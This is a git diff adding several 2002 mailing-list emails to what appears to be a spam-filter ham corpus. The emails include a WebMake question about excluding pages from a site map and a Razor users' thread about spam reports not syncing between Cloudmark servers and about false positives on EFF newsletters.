phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:26:00 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g752Rcv25373 for ; Mon, 5 Aug 2002 03:27:38 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bXZK-0005YD-00; Sun, + 04 Aug 2002 19:26:02 -0700 +Received: from ns2.oplnk.net ([216.90.3.140] helo=mail.oplnk.net) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17bXYj-000653-00 for ; Sun, + 04 Aug 2002 19:25:25 -0700 +Received: from earthman.oplnk.net (66-100-35-58.oplnk.net [66.100.35.58]) + by mail.oplnk.net (Postfix) with SMTP id 0D3F613E0F for + ; Sun, 4 Aug 2002 21:29:31 -0500 + (CDT) +From: Alan Jackson +To: webmake-talk@example.sourceforge.net +Message-Id: <20020804212526.67969dc5.ajackson@oplnk.net> +In-Reply-To: <20020710125149.2BCB2440A9@netnoteinc.com> +References: <20020708202855.C4062@lin.home> + <20020710125149.2BCB2440A9@netnoteinc.com> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.8; i686-pc-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Subject: [WM] Exclude pages from site map +Sender: webmake-talk-admin@example.sourceforge.net +Errors-To: webmake-talk-admin@example.sourceforge.net +X-Beenthere: webmake-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of WebMake. +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 4 Aug 2002 21:25:26 -0500 +Date: Sun, 4 Aug 2002 21:25:26 -0500 + +Is there a way to exclude a set of pages from the site map? For each +page in the site I also create a "printer friendly" page, and I would +like to exclude all of those form the sitemap. + +-- +----------------------------------------------------------------------- +| Alan K. Jackson | To see a World in a Grain of Sand | +| alan@ajackson.org | And a Heaven in a Wild Flower, | +| www.ajackson.org | Hold Infinity in the palm of your hand | +| Houston, Texas | And Eternity in an hour. - Blake | +----------------------------------------------------------------------- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +webmake-talk mailing list +webmake-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/webmake-talk + + diff --git a/bayes/spamham/easy_ham_2/00578.9c1b9956370b439f73cb2073037661fb b/bayes/spamham/easy_ham_2/00578.9c1b9956370b439f73cb2073037661fb new file mode 100644 index 0000000..5ab6c09 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00578.9c1b9956370b439f73cb2073037661fb @@ -0,0 +1,86 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 00:10:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 967BA440A8 + for ; Tue, 6 Aug 2002 19:10:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 00:10:34 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76N8Fk23032 for ; Wed, 7 Aug 2002 00:08:15 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cDEI-0001vP-00; Tue, + 06 Aug 2002 15:55:06 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cDDQ-000331-00 for ; Tue, + 06 Aug 2002 15:54:12 -0700 +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI6NTHhdNlotwjiQEiUizLDYaWgngCdP1sAADxyGsA= +From: "Rose, Bobby" +To: "ML-razor-users" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 6 Aug 2002 18:54:04 -0400 +Date: Tue, 6 Aug 2002 18:54:04 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g76N8Fk23032 + +I'm still seeing this. It reports to honor.cloudmark.com but checks +against apt.cloudmark.com. What is the sync delay between these boxes? + +-----Original Message----- +From: Rose, Bobby +Sent: Monday, August 05, 2002 2:05 PM +To: ML-razor-users +Subject: [Razor-users] What's wrong with the Razor servers now? + + +I noticed a low count of razor'd spam messages. So after digging, if I +razor-report a message the diags say that it was accepted but if I turn +around and run a check on the exact same message that was reported, then +it doesn't find the sig and as such isn't spam. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00579.1edb9f97788573fae80c93879a38aa1c b/bayes/spamham/easy_ham_2/00579.1edb9f97788573fae80c93879a38aa1c new file mode 100644 index 0000000..7c7f4f4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00579.1edb9f97788573fae80c93879a38aa1c @@ -0,0 +1,106 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 00:21:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BAB06440A8 + for ; Tue, 6 Aug 2002 19:21:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 00:21:18 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76NIrk23300 for ; Wed, 7 Aug 2002 00:18:53 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cDMy-0005Ay-00; Tue, + 06 Aug 2002 16:04:04 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cDMB-0004wa-00 for ; Tue, + 06 Aug 2002 16:03:15 -0700 +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI6NTHhdNlotwjiQEiUizLDYaWgngCdP1sAADxyGsAAAFKrcA== +From: "Rose, Bobby" +To: "ML-razor-users" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 6 Aug 2002 19:03:09 -0400 +Date: Tue, 6 Aug 2002 19:03:09 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g76NIrk23300 + +If I specify -rs on razor-check and point to honor then it checks fine. +Also if I point to apt to report then I get an authentication error so +is there something wrong with that box? + +-----Original Message----- +From: Rose, Bobby +Sent: Tuesday, August 06, 2002 6:54 PM +To: ML-razor-users +Subject: RE: [Razor-users] What's wrong with the Razor servers now? + + +I'm still seeing this. It reports to honor.cloudmark.com but checks +against apt.cloudmark.com. What is the sync delay between these boxes? + +-----Original Message----- +From: Rose, Bobby +Sent: Monday, August 05, 2002 2:05 PM +To: ML-razor-users +Subject: [Razor-users] What's wrong with the Razor servers now? + + +I noticed a low count of razor'd spam messages. So after digging, if I +razor-report a message the diags say that it was accepted but if I turn +around and run a check on the exact same message that was reported, then +it doesn't find the sig and as such isn't spam. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf _______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00580.7dd943cb2a791ae9600144dee69f27b1 b/bayes/spamham/easy_ham_2/00580.7dd943cb2a791ae9600144dee69f27b1 new file mode 100644 index 0000000..2a40b02 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00580.7dd943cb2a791ae9600144dee69f27b1 @@ -0,0 +1,66 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 05:32:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CCAAC440C9 + for ; Wed, 7 Aug 2002 00:32:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 05:32:35 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g774VQk09851 for ; Wed, 7 Aug 2002 05:31:26 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cHvu-0002fh-00; Tue, + 06 Aug 2002 20:56:26 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cHto-0002Be-00 for ; Tue, + 06 Aug 2002 20:54:16 -0700 +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: Razor report don't seem to be getting logged +Thread-Index: AcI5A80S1xgTPXyqR4KaEaLLb3GOEgEwfJWg +From: "Rose, Bobby" +To: +Subject: [Razor-users] Razor report don't seem to be getting logged +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 6 Aug 2002 23:54:09 -0400 +Date: Tue, 6 Aug 2002 23:54:09 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g774VQk09851 + +For the past 2 days, nothing that I'm reporting seems to be in the +database. If I report something, and the check the response is coming +back as none spam. Is anyone else seeing this? + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00581.b2fd69fe02091cf73bb1b60f282ff1a7 b/bayes/spamham/easy_ham_2/00581.b2fd69fe02091cf73bb1b60f282ff1a7 new file mode 100644 index 0000000..fe9986f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00581.b2fd69fe02091cf73bb1b60f282ff1a7 @@ -0,0 +1,119 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 08:59:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BEE23440C8 + for ; Wed, 7 Aug 2002 03:59:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 08:59:13 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g777wYk16412 for ; Wed, 7 Aug 2002 08:58:34 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cLW7-0004ge-00; Wed, + 07 Aug 2002 00:46:03 -0700 +Received: from adsl-64-171-13-166.dsl.sntc01.pacbell.net ([64.171.13.166] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17cLVZ-0006MQ-00 for + ; Wed, 07 Aug 2002 00:45:29 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g777jJK01455; Wed, 7 Aug 2002 00:45:19 -0700 +From: Vipul Ved Prakash +To: "Rose, Bobby" +Cc: ML-razor-users +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +Message-Id: <20020807004518.A1213@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: "Rose, Bobby" , + ML-razor-users +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: ; + from brose@med.wayne.edu on Tue, Aug 06, 2002 at 06:54:04PM -0400 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 7 Aug 2002 00:45:18 -0700 +Date: Wed, 7 Aug 2002 00:45:18 -0700 + +Hi, + +We were rolling out changes to TeS and catalogue servers over the last two +days. Any glitches you might have experienced would have been due to the +upgrades. The upgrades are now complete, and things are back to normal. +Several new features in TeS will provide better accuracy, specially with +regards to false-positives. + +cheers, +vipul. + +On Tue, Aug 06, 2002 at 06:54:04PM -0400, Rose, Bobby wrote: +> I'm still seeing this. It reports to honor.cloudmark.com but checks +> against apt.cloudmark.com. What is the sync delay between these boxes? +> +> -----Original Message----- +> From: Rose, Bobby +> Sent: Monday, August 05, 2002 2:05 PM +> To: ML-razor-users +> Subject: [Razor-users] What's wrong with the Razor servers now? +> +> +> I noticed a low count of razor'd spam messages. So after digging, if I +> razor-report a message the diags say that it was accepted but if I turn +> around and run a check on the exact same message that was reported, then +> it doesn't find the sig and as such isn't spam. +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00582.eb99fccc8d6528aa1e2b1b7a1f0d4160 b/bayes/spamham/easy_ham_2/00582.eb99fccc8d6528aa1e2b1b7a1f0d4160 new file mode 100644 index 0000000..8b951d9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00582.eb99fccc8d6528aa1e2b1b7a1f0d4160 @@ -0,0 +1,103 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 09:09:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D7FE9440C8 + for ; Wed, 7 Aug 2002 04:09:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 09:09:58 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7786ek16649 for ; Wed, 7 Aug 2002 09:06:40 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cLjg-00077d-00; Wed, + 07 Aug 2002 01:00:04 -0700 +Received: from adsl-64-171-13-166.dsl.sntc01.pacbell.net ([64.171.13.166] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17cLjZ-0001cL-00 for + ; Wed, 07 Aug 2002 00:59:57 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g777xro01575; Wed, 7 Aug 2002 00:59:53 -0700 +From: Vipul Ved Prakash +To: Marc Perkel +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] False Positives on EFF Messages +Message-Id: <20020807005953.B1213@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: Marc Perkel , + razor-users@lists.sf.net +References: <3D4B0146.20604@perkel.com> + <20020802151150.A23016@rover.vipul.net> <3D4B0615.1010500@perkel.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <3D4B0615.1010500@perkel.com>; from marc@perkel.com on Fri, + Aug 02, 2002 at 03:22:13PM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 7 Aug 2002 00:59:53 -0700 +Date: Wed, 7 Aug 2002 00:59:53 -0700 + +Marc, + +The likelyhood of EFF or other mailing lists getting filtered will +decrease over time as these mails are revoked whenever they get filtered +out. Revocations help the system to punish reporters who report legit bulk +mail such that their future reports are automatically considered suspect. +As such, with all the new changes to TeS, the likelyhood of filtering +mailing list posts has decreased dramatically. Please keep me posted if +you see false positives on the EFF newsletter again. + +cheers, +vipul. + +On Fri, Aug 02, 2002 at 03:22:13PM -0700, Marc Perkel wrote: +> Thanks - but it almost looks like someone is deliberately trying to +> poison EFF messages. If this is so I want to look into it. It's odd that +> most all the razor errors were people talking about free speech issies +> and intellectual property. It make me wonder if someone is doing +> something on purpose. +> +> I am also active in the development of Spam Assassin rules. Spam +> filtering has been a hot topic at EFF for quite some time and is even +> hotter now that I'm actually using it. For what it's worth - your system +> is considered to be the cleanest method - but with any system, people at +> EFF are concerned about free speech issues and that spam filtering can +> become a censorship issue. One of our newsletters got flagged as spam +> because it had list removal instructions at the bottom. + + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00583.4e1e6bdeb100a418bf58b45be23f1f27 b/bayes/spamham/easy_ham_2/00583.4e1e6bdeb100a418bf58b45be23f1f27 new file mode 100644 index 0000000..ed7d1e2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00583.4e1e6bdeb100a418bf58b45be23f1f27 @@ -0,0 +1,132 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 14:16:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C3CC2440CD + for ; Wed, 7 Aug 2002 09:16:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 14:16:49 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g77DH1k30852 for ; Wed, 7 Aug 2002 14:17:01 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cQVm-0006UG-00; Wed, + 07 Aug 2002 06:06:02 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cQUs-0001YL-00 for ; Wed, + 07 Aug 2002 06:05:06 -0700 +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI95uZYty6JbCTTTZ2zyQUcXNqGpgAK8pNw +From: "Rose, Bobby" +To: +Cc: "ML-razor-users" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 7 Aug 2002 09:04:50 -0400 +Date: Wed, 7 Aug 2002 09:04:50 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g77DH1k30852 + +It's still doing it. I reported a message as spam 10 minutes ago and +the check keeps coming back false. What's funny is that message that +I'm testing with it the sample-spam.txt message from SpamAssassin and I +know it's been reported before. + +-----Original Message----- +From: Vipul Ved Prakash [mailto:mail@vipul.net] +Sent: Wednesday, August 07, 2002 3:45 AM +To: Rose, Bobby +Cc: ML-razor-users +Subject: Re: [Razor-users] What's wrong with the Razor servers now? + + +Hi, + +We were rolling out changes to TeS and catalogue servers over the last +two days. Any glitches you might have experienced would have been due to +the upgrades. The upgrades are now complete, and things are back to +normal. Several new features in TeS will provide better accuracy, +specially with regards to false-positives. + +cheers, +vipul. + +On Tue, Aug 06, 2002 at 06:54:04PM -0400, Rose, Bobby wrote: +> I'm still seeing this. It reports to honor.cloudmark.com but checks +> against apt.cloudmark.com. What is the sync delay between these +> boxes? +> +> -----Original Message----- +> From: Rose, Bobby +> Sent: Monday, August 05, 2002 2:05 PM +> To: ML-razor-users +> Subject: [Razor-users] What's wrong with the Razor servers now? +> +> +> I noticed a low count of razor'd spam messages. So after digging, if I + +> razor-report a message the diags say that it was accepted but if I +> turn around and run a check on the exact same message that was +> reported, then it doesn't find the sig and as such isn't spam. +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00584.f206aaba715a53da60ffdb9217b2afb3 b/bayes/spamham/easy_ham_2/00584.f206aaba715a53da60ffdb9217b2afb3 new file mode 100644 index 0000000..4eb000f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00584.f206aaba715a53da60ffdb9217b2afb3 @@ -0,0 +1,154 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 7 14:22:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 54E69440CD + for ; Wed, 7 Aug 2002 09:22:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 14:22:12 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g77DLnk31134 for ; Wed, 7 Aug 2002 14:21:50 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cQfT-00018O-00; Wed, + 07 Aug 2002 06:16:03 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cQfI-0005zp-00 for ; Wed, + 07 Aug 2002 06:15:52 -0700 +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI95uZYty6JbCTTTZ2zyQUcXNqGpgAK8pNwAABpySA= +From: "Rose, Bobby" +To: +Cc: "ML-razor-users" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 7 Aug 2002 09:15:45 -0400 +Date: Wed, 7 Aug 2002 09:15:45 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g77DLnk31134 + +The problem is clearly because the info isn't syncing between the +servers. If I run the check against honor which is where it was +reported then the check is positive. If I run the check against apt or +fire, it's negative. + +-----Original Message----- +From: Rose, Bobby +Sent: Wednesday, August 07, 2002 9:05 